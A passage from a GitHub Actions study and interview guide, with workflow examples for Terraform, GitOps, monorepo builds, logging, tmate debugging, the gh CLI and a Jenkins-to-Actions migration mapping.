            const plan = fs.readFileSync('./infra/plan.txt', 'utf8');
            const truncated = plan.length > 60000 ? plan.slice(0, 60000) +
'\n...(truncated)' : plan;
            github.rest.issues.createComment({
              issue_number: context.issue.number,
              owner: context.repo.owner,
              repo: context.repo.repo,
              body: `## Terraform Plan\n\`\`\`hcl\n${truncated}\n\`\`\``
            });

      - name: Terraform Apply
        if: github.event_name == 'push' && github.ref == 'refs/heads/main'
        run: terraform apply -auto-approve tfplan
```

7.6 GitOps with ArgoCD

```
name: GitOps Image Update
on:
  workflow_run:
    workflows: ["Build & Push Image"]
    types: [completed]
    branches: [main]

jobs:
  update-gitops-repo:
    if: ${{ github.event.workflow_run.conclusion == 'success' }}
    runs-on: ubuntu-latest
    steps:
```

```
      - name: Checkout GitOps repo
        uses: actions/checkout@v4
        with:
          repository: my-org/k8s-gitops
          token: ${{ secrets.GITOPS_PAT }}
          path: gitops

      - name: Update image tag
        run: |
          cd gitops
          # Update the image tag in Kustomization or values.yaml
          NEW_TAG=${{ github.event.workflow_run.head_sha }}
          sed -i "s|image: myapp:.*|image: myapp:${NEW_TAG}|g" \
            apps/myapp/overlays/staging/kustomization.yaml

          git config user.email "github-actions@my-org.com"
          git config user.name "GitHub Actions"
          git add -A
          git commit -m "chore: update myapp to ${NEW_TAG} [skip ci]"
          git push
```

Category 8: Monorepo Patterns

8.1 Path Filters

```
on:
  push:
    paths:
      - 'services/api/**'
      - 'libs/shared/**'
      - 'Dockerfile.api'
    paths-ignore:
      - '**.md'
      - 'docs/**'
      - '.github/CODEOWNERS'
```

8.2 ⚠ Affected Service Detection

```
name: Monorepo CI
on:
  push:
    branches: [main]
  pull_request:
```

```yaml
jobs:
  detect-changes:
    runs-on: ubuntu-latest
    outputs:
      api: ${{ steps.changes.outputs.api }}
      worker: ${{ steps.changes.outputs.worker }}
      frontend: ${{ steps.changes.outputs.frontend }}
      matrix: ${{ steps.build-matrix.outputs.matrix }}
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36
# v3
        id: changes
        with:
          filters: |
            api:
              - 'services/api/**'
              - 'libs/shared/**'
            worker:
              - 'services/worker/**'
              - 'libs/shared/**'
            frontend:
              - 'apps/frontend/**'

      - name: Build affected services matrix
        id: build-matrix
        run: |
          SERVICES=()
          if [ "${{ steps.changes.outputs.api }}" == "true" ]; then
SERVICES+=("api"); fi
          if [ "${{ steps.changes.outputs.worker }}" == "true" ]; then
SERVICES+=("worker"); fi
          if [ "${{ steps.changes.outputs.frontend }}" == "true" ]; then
SERVICES+=("frontend"); fi

          if [ ${#SERVICES[@]} -eq 0 ]; then
            echo "matrix={\"service\":[]}" >> $GITHUB_OUTPUT
          else
            MATRIX=$(printf '%s\n' "${SERVICES[@]}" | jq -R . | jq -sc . |
jq -c '{service: .}')
            echo "matrix=${MATRIX}" >> $GITHUB_OUTPUT
          fi

  build:
    needs: detect-changes
    if: needs.detect-changes.outputs.matrix != '{"service":[]}'
    strategy:
      matrix: ${{ fromJSON(needs.detect-changes.outputs.matrix) }}
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
```

```
      - name: Build ${{ matrix.service }}
        run: |
          cd services/${{ matrix.service }}
          make build test push IMAGE_TAG=${{ github.sha }}
```

Category 9: Observability, Debugging & Operations

9.1 Workflow Logs & Structured Logging

```
# Workflow commands for structured logging
echo "::debug::This is debug output (only shown with
ACTIONS_RUNNER_DEBUG=true)"
echo "::notice file=app.js,line=42::Missing null check"
echo "::warning::Deprecated API usage detected"
echo "::error file=src/main.go,line=10,col=5::Compilation error"

# Grouping log output (collapsible sections in UI)
echo "::group::Installing dependencies"
npm ci
echo "::endgroup::"

# Masking sensitive values
echo "::add-mask::$DYNAMIC_SECRET"
echo "$DYNAMIC_SECRET"   # Will appear as *** in logs

# Step summaries (rendered Markdown in the run summary page)
cat >> $GITHUB_STEP_SUMMARY << 'EOF'
## Test Results

| Suite | Tests | Passed | Failed |
|-------|-------|--------|--------|
| Unit | 142 | 141 | 1 |
| Integration | 28 | 28 | 0 |

> ⚠ 1 test failed in unit suite
EOF
```

9.2 Debugging with tmate

```
# Add this step to pause execution and open an SSH session
- name: Debug with tmate
  if: failure()   # Or: ${{ runner.debug == '1' }}
  uses: mxschmitt/action-tmate@a283f9441d2d96eb62436dc46d7014f5d357ac22  #
v3
```

```
    with:
      limit-access-to-actor: true  # Only the triggering user can connect
    timeout-minutes: 15

  # Enable debug logging for a run (re-run with debug)
  # Or set secrets: ACTIONS_RUNNER_DEBUG=true, ACTIONS_STEP_DEBUG=true
```

9.4 GitHub Actions API & CLI

```
# List workflow runs
gh run list --workflow=deploy.yml --limit=10

# View a specific run
gh run view 1234567890

# Watch a run in real time
gh run watch 1234567890

# Download artifacts
gh run download 1234567890 --name build-output

# Re-run failed jobs only
gh run rerun 1234567890 --failed

# Trigger a workflow manually
gh workflow run deploy.yml --ref main --field environment=staging

# List workflows
gh workflow list

# Enable/disable a workflow
gh workflow disable deploy.yml
gh workflow enable deploy.yml

# View workflow run logs
gh run view 1234567890 --log
gh run view 1234567890 --log-failed  # Only failed steps
```

Category 10: Migration & Strategic Decisions

10.1 GitHub Actions vs Jenkins — Honest Comparison

Dimension	GitHub Actions	Jenkins
Infrastructure	GitHub manages control plane	You manage master + agents

Dimension	GitHub Actions	Jenkins
Setup time	Minutes	Days to weeks
Scaling	GitHub-hosted auto-scales; ARC for self-hosted	Kubernetes plugin or manual agent scaling
Ecosystem	Actions Marketplace (versioned Git repos)	Plugin ecosystem (version conflicts)
GitHub integration	Native (events, PRs, issues, packages)	Via plugins (fragile)
Pipeline as code	Workflow YAML	Jenkinsfile (Groovy)
Flexibility	Constrained YAML (safer, less flexible)	Full Groovy (more power, more footguns)
Cost (private repos)	Per-minute billing	Infrastructure + maintenance cost
Audit trail	GitHub audit log, native	Jenkins audit log plugin
Multi-cloud	OIDC native, marketplace actions	Plugin-dependent
On-prem	GitHub Enterprise Server + self-hosted runners	Fully on-prem capable
Debugging	tmate, re-run with debug, step summaries	Blue Ocean, log replay
Secret management	Native secrets + OIDC	Credentials store + Vault plugin

When to use Jenkins over GitHub Actions:

- Code hosted outside GitHub (Bitbucket, Gerrit, on-prem SCM)
- Complex dynamic pipelines requiring Groovy logic
- Legacy pipeline investments too costly to migrate
- On-prem with no GitHub Enterprise license
- Need for a plugin that has no Actions equivalent

10.2 Jenkins to GitHub Actions Migration Patterns

Jenkins Concept	GitHub Actions Equivalent
`Jenkinsfile`	`.github/workflows/*.yml`
Shared Libraries	Reusable Workflows + Composite Actions
`agent { label 'X' }`	`runs-on: [self-hosted, X]`
`stage('Build')`	`jobs.build:`
`parallel { }`	Jobs without `needs:` (parallel by default)
`environment { }`	`env:` at job or step level

Jenkins Concept	GitHub Actions Equivalent
`credentials('id')`	`secrets.SECRET_NAME`
`archiveArtifacts`	`actions/upload-artifact`
`stash`/`unstash`	`actions/upload-artifact` + `download-artifact`
`input()` step	`environment:` with required reviewers
`when { branch 'main' }`	`if: github.ref == 'refs/heads/main'`
`post { always { } }`	`if: always()` on step
`post { failure { } }`	`if: failure()` on step
`timeout(time: 15)`	`timeout-minutes: 15`
`parameters { }`	`workflow_dispatch.inputs:`
`cron('H/5 * * * *')`	`schedule: - cron: '*/5 * * * *'`
`withCredentials([])`	`env:` with `${{ secrets.X }}`
`docker.image().inside()`	`container:` on job
Matrix builds	`strategy.matrix:`
`BUILD_NUMBER`	`github.run_number`
`GIT_COMMIT`	`github.sha`
`BRANCH_NAME`	`github.ref_name`

Quick Reference: Key Interview Topics

⚠ Topics Most Likely to Trip Up Experienced Jenkins Engineers

1. **OIDC auth** — no Jenkins equivalent; must understand JWT claim-based trust
2. **`pull_request_target` security risk** — fork PRs with secrets access
3. **`id-token: write` permission** — required for OIDC, easy to forget
4. **Dynamic matrix JSON** — must be valid JSON, empty array causes job failure
5. **`$GITHUB_OUTPUT` vs old `set-output`** — old syntax is deprecated
6. **Concurrency groups** — cancel-in-progress for CI, false for deployments
7. **Cache branch scoping** — main branch cache accessible cross-branch, not vice versa
8. **SHA pinning** — why `@v4` is not enough for production security
9. **Composite vs Reusable** — different execution models, different capabilities
10. **`sub` claim in OIDC** — format changes by event type; must match trust policy

---

Key YAML Patterns to Memorize

```yaml
# OIDC Auth to AWS
permissions:
  id-token: write
  contents: read
steps:
  - uses: aws-actions/configure-aws-credentials@<SHA>
    with:
      role-to-assume: arn:aws:iam::ACCOUNT:role/ROLE

# Dynamic Matrix
outputs:
  matrix: ${{ steps.gen.outputs.matrix }}
steps:
  - id: gen
    run: echo "matrix=$(cat services.json)" >> $GITHUB_OUTPUT
jobs:
  build:
    strategy:
      matrix: ${{ fromJSON(needs.gen.outputs.matrix) }}

# Deployment with Approval Gate
jobs:
  deploy:
    environment: production  # Has required reviewers configured
    runs-on: ubuntu-latest

# Concurrency — queue deployments
concurrency:
  group: deploy-${{ github.ref_name }}
  cancel-in-progress: false

# Reusable Workflow Call
jobs:
  deploy:
    uses: org/repo/.github/workflows/deploy.yml@main
    with:
      environment: production
    secrets: inherit

# Safe Input Handling
- run: echo "Processing $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}
```

End of GitHub Actions Mastery Guide

> **Next Steps:** Work through the categories in order, or jump to the ⚠ high-priority topics. For each topic, practice the 30–45 second interview answer out loud. Then tackle the deep-dive version and the real-world YAML examples.